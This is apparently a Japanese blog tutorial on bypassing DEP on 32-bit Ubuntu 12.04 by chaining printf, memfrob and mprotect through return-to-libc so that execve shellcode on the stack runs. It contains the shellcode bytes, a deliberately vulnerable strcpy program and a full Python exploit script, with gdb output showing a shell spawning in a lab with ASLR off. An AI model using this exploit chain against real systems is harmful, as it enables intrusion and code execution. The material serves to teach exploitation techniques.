Return-to-libcとmprotect(2)でDEPを回避してみる

Return-to-libcによるDEP回避ではすでに存在する関数しか呼ぶことができないが、実行時に動的にメモリ領域のアクセス保護オプションを書き換えることでスタック上の任意のコードを実行させることができる。 メモリ領域のアクセス保護オプションを書き換えるには、Windowsの場合VirtualProtectEx関数Linuxの場合mprotect(2)が使える。 ここでは、Return-to-libcでmprotectを呼び、スタック上のシェルコードを実行してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

mprotectを試してみる

まずは簡単なコードでmprotectの挙動を確認してみる。

$ man 2 mprotect
NAME
       mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(const void *addr, size_t len, int prot);

DESCRIPTION
       mprotect()  changes  protection  for  the  calling  process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1].  addr must be aligned to a page
       boundary.

ドキュメントを参考に、スタック領域の実行オプションを有効にした上でスタック上のシェルコードを実行するコードを書く。 スタックのメモリ領域は、一旦コンパイルしてgdbで実行し、info proc mappingsを表示させることにより調べた。

/* mprotect.c */
#include <stdio.h>
#include <sys/mman.h>

int main()
{
    char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    printf("shellcode = %p\n", shellcode);
    mprotect((void *)0xbffdf000, 0x21000, PROT_READ | PROT_WRITE | PROT_EXEC);
    (*(void (*)())shellcode)();
}

DEPSSP有効、ASLR無効でコンパイル・実行すると、DEPが有効な状態でスタック上のシェルコードが実行されシェルが立ち上がっていることが確認できる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc mprotect.c
$ ./a.out
shellcode = 0xbffff773
$

gdbでmprotectが実行される前後におけるメモリ領域の属性を確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048464 <+0>:     push   ebp
   0x08048465 <+1>:     mov    ebp,esp
   0x08048467 <+3>:     and    esp,0xfffffff0
   0x0804846a <+6>:     sub    esp,0x30
   0x0804846d <+9>:     mov    eax,gs:0x14
   0x08048473 <+15>:    mov    DWORD PTR [esp+0x2c],eax
   0x08048477 <+19>:    xor    eax,eax
   0x08048479 <+21>:    mov    DWORD PTR [esp+0x13],0x6852d231
   0x08048481 <+29>:    mov    DWORD PTR [esp+0x17],0x68732f2f
   0x08048489 <+37>:    mov    DWORD PTR [esp+0x1b],0x69622f68
   0x08048491 <+45>:    mov    DWORD PTR [esp+0x1f],0x52e3896e
   0x08048499 <+53>:    mov    DWORD PTR [esp+0x23],0x8de18953
   0x080484a1 <+61>:    mov    DWORD PTR [esp+0x27],0x80cd0b42
   0x080484a9 <+69>:    mov    BYTE PTR [esp+0x2b],0x0
   0x080484ae <+74>:    mov    eax,0x80485d0
   0x080484b3 <+79>:    lea    edx,[esp+0x13]
   0x080484b7 <+83>:    mov    DWORD PTR [esp+0x4],edx
   0x080484bb <+87>:    mov    DWORD PTR [esp],eax
   0x080484be <+90>:    call   0x8048370 <printf@plt>
   0x080484c3 <+95>:    mov    DWORD PTR [esp+0x8],0x7
   0x080484cb <+103>:   mov    DWORD PTR [esp+0x4],0x21000
   0x080484d3 <+111>:   mov    DWORD PTR [esp],0xbffdf000
   0x080484da <+118>:   call   0x8048360 <mprotect@plt>
   0x080484df <+123>:   lea    eax,[esp+0x13]
   0x080484e3 <+127>:   call   eax
   0x080484e5 <+129>:   mov    edx,DWORD PTR [esp+0x2c]
   0x080484e9 <+133>:   xor    edx,DWORD PTR gs:0x14
   0x080484f0 <+140>:   je     0x80484f7 <main+147>
   0x080484f2 <+142>:   call   0x8048380 <__stack_chk_fail@plt>
   0x080484f7 <+147>:   leave
   0x080484f8 <+148>:   ret
End of assembler dump.
(gdb) b *main+118
Breakpoint 1 at 0x80484da
(gdb) run
Starting program: /home/user/tmp/a.out
shellcode = 0xbffff743

Breakpoint 1, 0x080484da in main ()
(gdb) x/i $pc
=> 0x80484da <main+118>:        call   0x8048360 <mprotect@plt>
(gdb) info proc
process 1199
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/1199/maps
08048000-08049000 r-xp 00000000 08:01 1966158    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966158    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966158    /home/user/tmp/a.out
b7e2b000-b7e2c000 rw-p 00000000 00:00 0
b7e2c000-b7fd0000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd0000-b7fd2000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd6000 rw-p 00000000 00:00 0
b7fdb000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) nexti
0x080484df in main ()
(gdb) shell cat /proc/1199/maps
08048000-08049000 r-xp 00000000 08:01 1966158    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966158    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966158    /home/user/tmp/a.out
b7e2b000-b7e2c000 rw-p 00000000 00:00 0
b7e2c000-b7fd0000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd0000-b7fd2000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd6000 rw-p 00000000 00:00 0
b7fdb000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-bffdf000 rw-p 00000000 00:00 0
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
(gdb) c
Continuing.
process 1199 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$
[Inferior 1 (process 1199) exited normally]
(gdb) quit

スタックに対応するbffdf000-c0000000のアクセス保護オプションが、rw-pからrwxpに変わっていることがわかる。

脆弱性のあるプログラムを用意する

mprotectの挙動を確認したところで、実際にスタックバッファオーバーフロー脆弱性があるコードを用意する。

/* bof.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効でコンパイルし、バッファオーバーフローが起こることを確認する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc -fno-stack-protector bof.c
$ ./a.out $(python -c 'print "A"*300')
buf = 0xbffff544
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./a.out $(python -c 'print "A"*316')
buf = 0xbffff534
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

バッファオーバーフローによりバッファから4ワード先(13~16バイト目)のリターンアドレスが書き換えられ、セグメンテーション違反で落ちることが確認できる。

エクスプロイトコードを書いてみる

次に、Return-to-libcでmprotectを呼ぶエクスプロイトコードについて考える。 最初にmprotectを試したコードのアセンブリコードから、mprotectを呼ぶ際にはスタック上位から0xbffdf000、0x21000、0x7を積んでおけばよいことがわかる。

   0x080484c3 <+95>:    mov    DWORD PTR [esp+0x8],0x7
   0x080484cb <+103>:   mov    DWORD PTR [esp+0x4],0x21000
   0x080484d3 <+111>:   mov    DWORD PTR [esp],0xbffdf000
   0x080484da <+118>:   call   0x8048360 <mprotect@plt>

しかし、この3つにはnullバイトが含まれている。 第2引数はnullバイトが含まれないようにできるが、第1引数のアドレスはページ境界でなければならないので一般的なページサイズ4096の環境では下位3バイトが0でなければならない。 また、第3引数の上位3バイトの0も除去することができない。

これについてはprintfを使って動的に値をセットしてもよいが、脆弱性のあるプログラムにglibcが使われている場合はmemfrob(3)を使う方法もある。 memfrobは指定したメモリ領域の各バイトを42 (=0x2a) でXORするglibc独自の関数である。

$ man 3 memfrob
NAME
       memfrob - frobnicate (encrypt) a memory area

SYNOPSIS
       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <string.h>

       void *memfrob(void *s, size_t n);

DESCRIPTION
       The  memfrob()  function  encrypts  the  first  n  bytes of the memory area s by exclusive-ORing each character with the number 42.  The effect can be reversed by using memfrob() on the
       encrypted memory area.

これを使って事前に0x2aでXORしておいたバイト列を実行時に元に戻すことで、nullバイトを多く含むバイト列もスタック上に配置することができる。 そして最後にjmp espにreturnして後に続くシェルコードを実行するエクスプロイトコードを書くと、次のようになる。 各オフセットの調べ方については、過去のエントリを参照のこと。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
addr_buf = int(sys.argv[3], 16)

buf = 'A' * bufsize
buf += 'AAAA' * 3

buf += struct.pack('<I', libc_base + 0x0004ced0)                         # 0004ced0 T printf
buf += struct.pack('<I', libc_base + 0x16f8a)                            #    16f8a:    pop    edi
buf += struct.pack('<I', addr_buf + len(buf) + (4*11) + len(shellcode))
buf += struct.pack('<I', libc_base + 0x00080000 - 1)                     # 00080000 T memfrob (-1)
buf += struct.pack('<I', libc_base + 0xf3ad0)                            #    f3ad0:    pop    ecx;     pop    eax
buf += struct.pack('<I', addr_buf + len(buf) + (4*4))
buf += struct.pack('<I', addr_buf + len(buf))
buf += struct.pack('<I', libc_base + 0x000ebff0)                         # 000ebff0 W mprotect
buf += struct.pack('<I', libc_base + 0x16f88)                            #    16f88:    pop    ebx;     pop    esi;     pop    edi
buf += struct.pack('<I', 0xbffdf000 ^ 0x2a2a2a2a)
buf += struct.pack('<I', 0x21000 ^ 0x2a2a2a2a)
buf += struct.pack('<I', 7 ^ 0x2a2a2a2a)
buf += struct.pack('<I', libc_base + 0x16af27)                           #   16af27:    jmp    esp
buf += shellcode
buf += '%12c%4$n'

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

memfrobのオフセットについてはそのままだとnullバイトが含まれてしまうので、1バイト前のnopからのオフセットを指定した。

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -C5 '<memfrob>:'
   7fffc:       90                      nop
   7fffd:       90                      nop
   7fffe:       90                      nop
   7ffff:       90                      nop

00080000 <memfrob>:
   80000:       8b 4c 24 08             mov    ecx,DWORD PTR [esp+0x8]
   80004:       8b 44 24 04             mov    eax,DWORD PTR [esp+0x4]
   80008:       85 c9                   test   ecx,ecx
   8000a:       74 0f                   je     8001b <memfrob+0x1b>
   8000c:       89 c2                   mov    edx,eax

上で書いたエクスプロイトコードは、バッファサイズ、libcのベースアドレスとバッファの先頭アドレスを順に引数に取る。 gdbを使ってlibcのベースアドレスを調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/mprotect/mprotect2/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048449
Starting program: /home/user/tmp/mprotect/mprotect2/a.out

Temporary breakpoint 1, 0x08048449 in main ()
(gdb) i proc map
process 12746
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/mprotect/mprotect2/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/mprotect/mprotect2/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/mprotect/mprotect2/a.out
        0xb7e2a000 0xb7e2b000     0x1000        0x0
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd5000     0x3000        0x0
        0xb7fdb000 0xb7fdd000     0x2000        0x0
        0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) quit
A debugging session is active.

        Inferior 1 [process 12746] will be killed.

Quit anyway? (y or n) y

libcは0xb7e2b000にロードされていることがわかる。 最後に、バッファの先頭アドレスも指定してエクスプロイトコードを実行してみる。

$ python exploit.py 300 0xb7e2b000 0xcccccccc
buf = 0xbffff4d4
(snip)

$ python exploit.py 300 0xb7e2b000 0xbffff4d4
buf = 0xbffff4d4
(snip)
$

DEPが有効な状態でスタック上のシェルコードが実行され、シェルが立ち上がることが確認できた。

関連リンク